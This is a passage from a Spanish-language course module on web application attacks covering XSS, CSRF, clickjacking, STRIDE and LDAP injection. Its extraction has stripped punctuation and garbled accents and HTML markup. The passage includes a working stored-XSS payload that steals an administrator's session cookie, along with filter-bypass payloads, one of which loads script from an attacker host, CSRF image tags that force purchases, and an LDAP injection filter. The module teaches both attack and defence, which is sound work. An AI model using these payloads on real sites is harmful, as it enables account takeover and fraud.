demos directamente introducir el coacutedigo Javascript como se refleja en la
siguiente sintaxis No tener que incluir las etiquetas ltscriptgt seraacute impor-
tante cuando sea necesario evitar los filtros anti-XSS que las eliminan
alert(iexclHola Mundo)
Hemos utilizado las barras al final de la sintaxis para lograr que el resto de
la liacutenea Javascript quede comentada y no interfiera en la ejecucioacuten de nues-
tro coacutedigo Esta circunstancia es ahora auacuten maacutes determinante que cuan-
do nos encontramos incorporando el coacutedigo generado al coacutedigo HTML
debido a que si el Javascript no es vaacutelido la mayoriacutea de los navegadores
no lo ejecutaraacuten
ltscriptgt var busqueda =alert(iexclHola Mundo)ltscriptgt
bull Otroscasos los especificados anteriormente son los ejemplos maacutes comu-
nes donde vamos a encontrar que nuestro coacutedigo Javascript se incluye
dentro del coacutedigo HTML de una paacutegina En los casos indicados se ha par-
tido del supuesto de que no existen filtros anti-XSS implementados Jun-
to a los anteriores existen otros casos maacutes complejos para la inclusioacuten de
coacutedigo Javascript como puede ser hacerlo en cabeceras HTTP
113 Diseccionando un ataque
Para entender mejor el funcionamiento de esta teacutecnica vamos a analizar un
ataque desde el inicio hasta el final El ataque consistiraacute en el robo de la co-
okie de sesioacuten del usuario administrador de un sitio web La cookie de sesioacuten
consiste en un pequentildeo fichero (de hasta 4 Kb) que contiene un identificador
uacutenico y que se enviacutea desde nuestro navegador junto a cada peticioacuten que rea-
lizamos hacia un servidor Este identificador asociado a un usuario que se ha
ldquologeadordquo satisfactoriamente en el sistema evita tener que introducir sus cre-
denciales para cada paacutegina que el usuario visita dentro de un mismo dominio
Por lo tanto si obtenemos el identificador de otro usuario y se lo enviamos
al servidor este nos asociaraacute en todo momento al usuario al que estamos su-
plantando
CC-BY-NC-ND bull PID_00191662 13 Ataques a aplicaciones web
El paso principal en todo anaacutelisis en busca de vulnerabilidades de tipo XSS en
una paacutegina web es localizar zonas funcionales de esta que permitan la intro-
duccioacuten de texto donde este se vuelva a mostrar bien de forma permanente
si queda almacenado en una base de datos o bien de forma no permanente
si no es asiacute
En el caso mostrado en la siguiente imagen la paacutegina web ofrece un servicio
de mensajeriacutea entre usuarios que puede ser un ejemplo simple para un posible
ataque XSS
Figura 2 Enviacuteo de mensaje
Para determinar si un campo ya sea un paraacutemetro desde la URL o un campo
de texto donde sea posible escribir es vulnerable a XSS vamos a introducir una
serie de caracteres para comprobar si existe alguacuten filtro anti-XSS Los caracteres
a introducir seriacutean
bull Comilla simple (lsquo)
bull Comilla doble (ldquo)
bull Siacutembolo de mayor que (gt)
bull Siacutembolo de menor que (lt)
bull Barra ()
bull Espacio ( )
Si somos capaces de introducir estos caracteres existe un alto porcentaje de po-
sibilidades de encontrar alguacuten fallo de XSS Sin embargo no podemos asegurar
su existencia de forma totalmente definitiva siempre existe la posibilidad de
encontrarnos con alguacuten otro tipo de filtro que nos impida introducir palabras
clave como script onload o javascript
En el escenario que ahora se plantea se puede introducir cualquier tipo de ca-
raacutecter o cadena de caracteres tras verificar que estos no son filtrados ni blo-
queados Vamos a aprovecharnos de esta situacioacuten para generar nuestro pri-
mer ataque de XSS
En el campo de Para vamos a escribir nuestro propio nombre de usuario evi-
luser De este modo todas las pruebas que realicemos se enviacutean directamente a
este usuario evitando alertar al usuario administrador En el campo del Cuer-
CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web
po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos
muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El
resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten
Figura 3 XSS antes de ser enviado
En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-
gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido
y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto
ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja
de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del
resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada
obtendremos una ventana de alerta con el mensaje especificado
Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el
coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve
el servidor
lta href=indexphpaction=deletegtltimg src=trashpng gtBorr
lta href=indexphpaction=logoutgtltimg src=system-log-outpn
ltdiv class=contenidogt
ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt
ltscriptgtltpgtltdivgt
ltdivgt
ltbodygt
Como se puede observar todos y cada uno de los caracteres que hemos intro-
ducido han quedado almacenados en la base de datos y se han copiado en el
coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro
Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se
estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-
do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-
mente o que borre todos sus mensajes La lista de posibilidades de acciones
maliciosas seriacutea interminable
CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web
En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de
mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript
and XML) pasando a enviar mensajes de manera automaacutetica utilizando para
ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que
reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada
conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios
administrativos lograremos control total sobre la aplicacioacuten
Generalmente seraacute necesaria una buena base de Javascript para explotar de
manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos
deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-
cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-
tivo del mismo
ltscriptgt
d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest()
else
x=new ActiveXObject(MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario
De manera totalmente transparente para el usuario afectado este nos la en-
viaraacute mediante un mensaje Procedamos al anaacutelisis
bull Inicialmente se declara una variable d Esta variable contiene los valores
de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-
cacioacuten cuando mandamos un mensaje Detalle importante a observar es el
contenido de la variable ampmensaje documentcookie un objeto del DOM2
de la paacutegina que contiene todas las cookies asociadas al dominio actual
bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten
de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-
plorer como Firefox o similares Este objeto es el usado para realizar las
peticiones AJAX
bull Con open() establecemos las condiciones que se van a utilizar para enviar el
formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene
(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody
CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web
analizando de nuevo el formulario de enviacuteo Mediante true se indica que
la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se
quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje
bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()
se usan para establecer cabeceras HTTP que hagan que el servidor web
entienda que lo que estamos enviando es un formulario aunque el usuario
no lo haya rellenado
bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d
que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador
realiza las acciones definidas anteriormente y si todo ha salido bien el
usuario afectado nos enviaraacute su cookie de sesioacuten
Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar
un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con
nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido
Figura 4 XSS antes de ser enviado
Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en
el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir
un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo
tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-
ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-
go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute
completamente desapercibido para el usuario admin cuando este inicia sesioacuten
con su navegador y automaacuteticamente se le presenta su bandeja de entrada
El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada
seriacutea
ltdiv class=contenidogt
ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt
d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest ()
CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web
else
x=new ActiveXObject (MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
iexclQue pagina mas chulaltpgtltdivgt
ltdivgt
ltbodygt
Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-
maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de
sesioacuten
Figura 5 Mensaje recibido por el usuario eviluser
Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-
ficar el valor de su cookie con el valor recibido De este modo cuando su nave-
gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al
usuario admin
Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-
car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del
administrador de un sitio web hemos logrado acceder a su cuenta
114 Filtros XSS
En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript
directamente como se ha realizado en el ejemplo anterior Habitualmente los
programadores habraacuten establecido una serie de reglas para intentar evitar los
fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-
ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos
permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-
nales que se presenten
CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web
Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-
trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para
entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-
rar de este modo nuestras posibles implementaciones de filtros antiXSS
bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta
teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-
ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-
rrar una etiqueta HTML como vimos anteriormente y nos encontramos
con que se estaacuten escapando nuestras comillas pueden darse dos situacio-
nes ambas salvables por parte del atacante La etiqueta queda cerrada co-
mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos
seguir introduciendo coacutedigo Javascript
ltinput type=text name=q value= gt
ltscriptgtalert(documentcookie)ltscriptgt
Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-
bir correctamente las comillas Son varios los meacutetodos que se pue-
den usar en estos casos Por ejemplo podemos utilizar la funcioacuten
StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una
cadena
StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)
Tambieacuten es posible establecer referencias a ficheros Javascript externos
donde podremos usar todos los caracteres que deseemos sin preocuparnos
por ninguacuten tipo de filtro
ltscript src=httpwwwatacantecomxssjsgtltscriptgt
bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-
tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero
determinado de caracteres Esta limitacioacuten se puede solventar de nuevo
de dos maneras
ndash Si son varias las variables donde es posible introducir coacutedigo Javascript
podemos usar la suma de los caracteres correspondientes a cada una de
ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-
riacutea mediante los caracteres de comentarios multiliacutenea de Javascript
al inicio y al final
ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un
fichero externo para cargar todo el coacutedigo Javascript necesario Para
reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo
tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom
xssjs queda traducida a httpisgdowYT
CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web
ltscript src=httpisgdowYTgtltscriptgt
bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir
loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-
te podriacutean parecer dos casos distintos al final pueden ser resueltos de la
misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al
ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-
ver cuando se desplaza el cursor por encima OnClick cuando se hace clic
sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro
coacutedigo
ltinput type=text name=buacutesqueda value=
OnFocus=alert(Hola Mundo) gt
bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar
Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor
sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas
para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no
en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en
la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica
ni llegar a conocer todos los entresijos de la misma sino que el atacante
deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-
digo XSS
12 Cross Site Request Forgery (CSRF)
Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas
concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es
el cross site request forgery (CSRF)
El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice
acciones no deseadas en dominios remotos Se basa en la idea de apro-
vechar la persistencia de sesiones entre las pestantildeas de un navegador
Vamos a analizar con un ejemplo hipoteacutetico para entenderla
El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF
Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-
CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web
minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente
En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada
httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes
Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado
Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla
Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML
Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota
Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt
Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt
Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-
do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que
la imagen rota que se genera se le muestre al usuario
El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la
paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros
se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten
Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST
Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo
Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que
existan en la aplicacioacuten
CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web
Sin embargo y aunque establecieacutesemos como requisito indispensable que las
peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de
nuestra paacutegina ni de nuestros clientes
Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las
cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se
utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a
un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten
aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras
paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen
desde nuestro propio dominio
La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie
de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos
pueden ser establecidos como un CAPTCHA que el usuario debe introducir al
realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro
del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la
peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar
los datos de nuestros usuarios
Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos
tomar una serie de precauciones que intenten evitar un ataque mediante esta
teacutecnica Las medidas son
bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten
bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-
na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que
durante el tiempo de uso
bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas
Con esto nos aseguramos la independencia de las cookies de sesioacuten entre
navegadores
13 Clickjacking
Las teacutecnicas de clickjacking son una amenaza reciente para los navega-
dores y sus usuarios Se basan en engantildear a los usuarios para que ha-
gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean
voluntariamente
Esto se consigue superponiendo dos paacuteginas
CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web
bull Una la principal con la paacutegina donde queremos que realmente los usua-
rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-
lizar una transferencia
bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-
tenidos que sirvan de aliciente para que el usuario realice los clics en las
zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear
en determinadas zonas
Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-
tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra
paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a
ellos mediante Javascript son de posible uso para engantildear al usuario
1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y
que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten
falta para llevar a cabo esta teacutecnica
Figura 6 Paacutegina a secuestrar
2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo
exactamente en el lugar donde deseamos que el usuario engantildeado realice el
clic Esto se hace asiacute para asegurar que independientemente del navegador el
clic se ejecute sin problemas
CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web
Figura 7 IFRAME sobre el sitio original
3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-
tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear
alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el
clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina
original
Figura 8 Colocacioacuten del IFRAME para engantildear al usuario
CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web
Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah
Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-
sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase
una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a
traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-
racioacuten de seguridad del plugin como se puede observar en la siguiente imagen
Figura 9 Configuracioacuten de seguridad de Flash Player
Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-
gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para
interactuar con el servidor Es por eso por lo que algunos navegadores aportan
directamente protecciones contra esta teacutecnica
bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus
usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-
sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario
sea engantildeado para hacer clic sobre un elemento previamente falseado
CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web
Figura 10 Clickjacking bloqueado
bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-
ca que permite a los programadores web incluir una cabecera x-frame-op-
tions que si figura establecida como deny impide que la paacutegina que la en-
viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de
establecer el valor como sameorigin para permitir que uacutenicamente pueda
ser cargada si la peticioacuten se realiza desde el mismo dominio
Figura 11 IFRAME bloqueado desde Internet Explorer 8
bull En el resto de navegadores como GoogleChromeOperaSafarieInter-
netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten
y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos
tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-
gador
CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web
2 Ataques de inyeccioacuten de coacutedigo
Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet
Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten
puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante
Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma
geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un
tipo de ataque
1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita
a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de
ataque se usan de forma muy extendida en Internet a varios niveles
a) Nivel de enlace
Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones
de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en
servidores DHCP ( dynamic host configuration protocol)
b) Nivel de Red
bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-
tringidas a determinadas direcciones IP Se hicieron famosas en el ataque
a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo
directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo
desde un servidor con una direccioacuten IP en concreto
bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-
plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En
el caso del nivel de red el objetivo es controlar el socket mediante la su-
plantacioacuten del nuacutemero de secuencia
c) Nivel de Aplicacioacuten
bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima
crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-
ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de
envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-
cha del cumpleantildeosrdquo son utilizados para lograr este objetivo
bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que
hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta
teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
